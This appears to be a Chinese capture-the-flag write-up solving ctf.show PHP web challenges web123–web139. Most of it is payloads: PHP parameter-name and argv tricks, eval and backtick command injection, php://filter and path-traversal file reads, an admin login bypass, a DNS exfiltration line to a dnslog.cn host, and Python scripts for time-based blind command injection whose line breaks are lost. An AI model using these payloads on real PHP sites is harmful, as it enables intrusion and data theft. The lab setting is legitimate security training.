app 網(wǎng)站可以做的免費推廣產(chǎn)品推廣運營方案
web123
必須傳CTF_SHOW,CTF_SHOW.COM 不能有fl0g
在php中變量名字是由數(shù)字字母和下劃線組成的,所以不論用post還是get傳入變量名的時候都將空格、+、點、[轉(zhuǎn)換為下劃線,但是用一個特性是可以繞過的,就是當[提前出現(xiàn)后,后面的點就不會再被轉(zhuǎn)義了。
POST:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag
但是和這個$a=$_SERVER['argv'];
沒啥關(guān)系
不過為了后面更好做題我們還是研究一下
添加鏈接描述
他這里對這個就講的特別詳細了,我抄一下
argv是數(shù)組,argc是數(shù)字。
可通過var_dump($_SERVER);和var_dump($argv);語句查看argv有獨立GET之外獲取參數(shù)的作用。比如傳入?aaa+bbb argv(數(shù)組)兩個元素是aaa和bbb。argc是數(shù)組的長度。php中有些文件(pearcmd.php)是通過argv和argc來獲取參數(shù)的。
web網(wǎng)頁模式下在web頁模式下必須在php.ini開啟register_argc_argv配置項設(shè)置register_argc_argv = On(默認是Off),重啟服務(wù),$_SERVER[‘a(chǎn)rgv’]才會有效果,題目中應(yīng)該是On這時候的$_SERVER[‘a(chǎn)rgv’][0] = $_SERVER[‘QUERY_STRING’]
//$_SERVER[‘a(chǎn)rgv’][0]就是a[0]$argv,$argc在web模式下不適用
cli模式(命令行)下第一個參數(shù)總是當前【腳本】的文件名,因此 $argv[0] 就是腳本文件名。當把php作為腳本,使用這個命令執(zhí)行:php script.php arg1 arg2 arg3以上示例的輸出類似于:
array(4) {[0]=>string(10) "script.php"[1]=>string(4) "arg1"[2]=>string(4) "arg2"[3]=>string(4) "arg3"
}
然后現(xiàn)在是網(wǎng)頁模式
這時候的$_SERVER[‘a(chǎn)rgv’][0] = $_SERVER[‘QUERY_STRING’]
//$_SERVER[‘a(chǎn)rgv’][0]就是a[0]
利用$_SERVER['argv'][0]
就可以繞過對**isset($fl0g)**的判斷,用+代表空格。
構(gòu)造payload
get:
?$fl0g=flag_give_me;
post:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])
get:
?a=1=1+fl0g=flag_give_me
post:
CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
這道題終于解決了
web125
就用argv的方法來寫
get:
?$fl0g=flag_give_me;
post:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])
web126
如上題
web127
extract:從數(shù)組中將變量導入到當前的符號表
還有空格可以用
?ctf show=ilove36d
web128
gettext():_()是gettext()的拓展函數(shù) 在開啟相關(guān)設(shè)定后,_("666")等價于gettext("666"),且就返回其中的參數(shù)(因為過濾了字母所以我們就用下劃線,讓其輸出)
get_defined_vars:返回由所有已定義變量所組成的數(shù)組,因為包含了flag.php,所以flag.php里面肯定有$flag儲存了flag。
?f1=_&f2=get_defined_vars
web129
stripos:查找字符串首次出現(xiàn)的位置readfile: 輸出文件
題目要求我們構(gòu)造的f中有ctfshow,且不在最開頭。則執(zhí)行readfile函數(shù),同時還要不影響flag.php的讀取
GET傳參://查看源碼獲得flag
?f=php://filter/|ctfshow/resource=flag.php
?f=/ctfshow/../../../../../../../var/www/html/flag.php
?f=./ctfshow/../flag.php//直接回顯base64,然后base64解密
?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
web130
stripos()遇到數(shù)組會返回null,null!=false,所以可以繞過stripos函數(shù)
然后數(shù)組可以繞過preg_match
POST:
f[]=1
.表示任意單個字符,+表示必須匹配1次或多次,+?表示 重復(fù)1次或更多次,但盡可能少重復(fù)。所以在ctfshow前面必須有至少一個字符,才會返回true
所以直接構(gòu)造playload:f=ctfshow,即可繞過preg_match函數(shù)同時,if(0 === flase)返回值為false0不是強等于false的,所以也不滿足if(stripos($f, 'ctfshow') === FALSE)
POST:
f=ctfshow
還可以目錄溢出
import requests
url="xxxxxxxxxxxxxxx"
data={'f':'very'*250000+'ctfshow'
}
r=requests.post(url,data=data)
print(r.text)
web131
會進行字符串轉(zhuǎn)換我們之前的辦法用不了了
用腳本使得目錄溢出
import requests
url="xxxxxxxxxxxxxxx"
data={'f':'very'*250000+'36Dctfshow'
}
r=requests.post(url,data=data)
print(r.text)
web132
掃描后臺,我們進admin/index.php看看
mt_rand():使用 Mersenne Twister 算法生成隨機整數(shù)。相比較于rand()函數(shù)其速度更快
生成1-877的隨機數(shù)
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin")
由于&&比||優(yōu)先級高所以可以看成是
if(($code === mt_rand(1,0x36D) && $password === $flag )|| $username ==="admin")
所以滿足username=admin然后code=admin就有flag
?username=admin&code=admin&password=1
web133
$F = @$_GET['F'](防止報錯)
substr($F,0,6)(截取其中的六個字符)
我們傳遞?F=`$F`;+sleep 3好像網(wǎng)站確實sleep了一會說明的確執(zhí)行了命令
**那為什么會這樣?**
因為是我們傳遞的`$F`;+sleep 3。先進行substr()函數(shù)截斷然后去執(zhí)行eval()函數(shù)
這個函數(shù)的作用是執(zhí)行php代碼,``是shell_exec()函數(shù)的縮寫,然后就去命令執(zhí)行。
而$F就是我們輸入的`$F`;+sleep 3 使用最后執(zhí)行的代碼應(yīng)該是
``$F`;+sleep 3`,就執(zhí)行成功
這里可能有點繞,慢慢理解
就是說執(zhí)行的是eval('$F`;+sleep 3`');
然后我們就可以進行類似的構(gòu)造
?F=`$F` ;ls /
?F=`$F` ;tac /f*
但是沒有回顯
?F=`$F`; ping `cat flag.php | grep ctfshow | tr -cd '[a-z]'/'[0-9]'`.dnslog得到的網(wǎng)址 -c 1
DNSlog
先點擊左邊的獲得域名,然后傳參之后再點擊右邊的刷新結(jié)果
flagctfshowcf2216ae8dbe496da637709e3218946c.he20y5.dnslog.cn
8-4-4-4-12的flag格式
ctfshow{cf2216ae-8dbe-496d-a637-709e3218946c}
web134
parse_str是對get請求進行的內(nèi)容解析成變量。例如傳遞?a=1,執(zhí)行后就是$a=1。
extract 其功能是將關(guān)聯(lián)數(shù)組中的鍵名轉(zhuǎn)換為變量名,并將鍵值賦給這些變量。
對_POST進行extract,那么構(gòu)造
?_POST[key1]=36d&_POST[key2]=36d
//剛好 key1=36d&key2=36d
查看源代碼
web135
web133一樣的東西但是我們的grep被過濾了,所以得思考一下怎么才行,但是反斜杠引號什么的沒過濾,就可以用來繞過
但是不知道為什么web133的相關(guān)操作我都用不了了
只能用其他方法了比如寫文件
?F=`$F` ;cp flag.php x.txt
?F=`$F` ;nl flag.php>x.txt
?F=`$F` ;mv flag.php x.txt
然后訪問x.txt就可以拿到flag
拼接一下ctfshow{25b598bc-5a5b-4baf-a23e-2c4e9dea9d8f}
web136
exec相當于system
直接ls查看目錄,發(fā)現(xiàn)一片空白,這時候就需要學新東西了
tee命令
主要用于從標準輸入讀取數(shù)據(jù),并將其內(nèi)容同時輸出到標準輸出(屏幕)和一個或多個文件中。簡單來說,就像水管中的 T 形接頭一樣,數(shù)據(jù)流經(jīng)過這里時,既可以繼續(xù)流向下游,也可以分流保存到指定的文件中。
例子
echo "This is a test line." | tee file1.txt file2.txt
不僅會輸出而且還會保存到file1.txt和 file2.txt
?c=ls /|tee 3
然后訪問3,下載文件記事本打開
查看flag
?c=cat /f149_15_h3r3|tee 6
web 137
獲得flag要調(diào)用getflag,也就是調(diào)用類里面的成員
->用于動態(tài)語境處理某個類的某個實例::可以調(diào)用一個靜態(tài)的、不依賴于其他初始化的類方法
必須傳參ctfshow
POST:
ctfshow=ctfshow::getflag
查看源代碼
web138
調(diào)用類中的成員但是不能有 :
那么剛才的方法就不能用了,但是我們的
call_user_func函數(shù)里面可以傳數(shù)組,第一個元素是類名或者類的一個對象,第二個元素是類的方法名,同樣可以調(diào)用。這就避免了:的出現(xiàn)。
傳參
POST:
ctfshow[0]=ctfshow&ctfshow[1]=getflag
查看源碼
web139
import requests
import time
import stringstr = string.ascii_letters + string.digits + "-" + "{" + "}" + "_" + "~" # 構(gòu)建一個包含所有字母和數(shù)字以及部分符號的字符串,符號可以自己加
result = "" # 初始化一個空字符串,用于保存結(jié)果#獲取多少行
for i in range(1, 99):key = 0 #用于控制內(nèi)層循環(huán)(j)的結(jié)束#不break的情況下,一行最多幾個字符for j in range(1, 99):if key == 1:breakfor n in str: #n就是一個一個的返回值payload = "if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i, j, n) #{n}是占位符#print(payload)url = "http://89e3e82d-d133-4a9e-a883-790d41e8a3b8.challenge.ctf.show?c=" + payloadtry:requests.get(url, timeout=(2.5, 2.5)) #設(shè)置超時時間為 2.5 秒,包括連接超時和讀取超時,超時就是之前sleep 3了。# 如果請求發(fā)生異常,表示條件滿足,將當前字符 n 添加到結(jié)果字符串中,并結(jié)束當前內(nèi)層循環(huán)except:result = result + nprint(result)breakif n == '~': #str的最后一位,“~”不常出現(xiàn),用作結(jié)尾key = 1# 在每次獲取一個字符后,將一個空格添加到結(jié)果字符串中,用于分隔結(jié)果的不同位置result += " "
f149_15_h3r3
import requests
import time
import stringstr = string.digits + string.ascii_lowercase + "-" + "_" + "~"# 題目過濾花括號,這里就不加了
result = ""
for j in range(1, 99):for n in str:payload = "if [ `cat /f149_15_h3r3 |cut -c {0}` == {1} ];then sleep 3;fi".format(j, n)# print(payload)url = "http://89e3e82d-d133-4a9e-a883-790d41e8a3b8.challenge.ctf.show?c=" + payloadtry:requests.get(url, timeout=(2.5, 2.5))except:result = result + nprint(result)breakif n=="~":result = result + "花括號"
繼續(xù)跑flag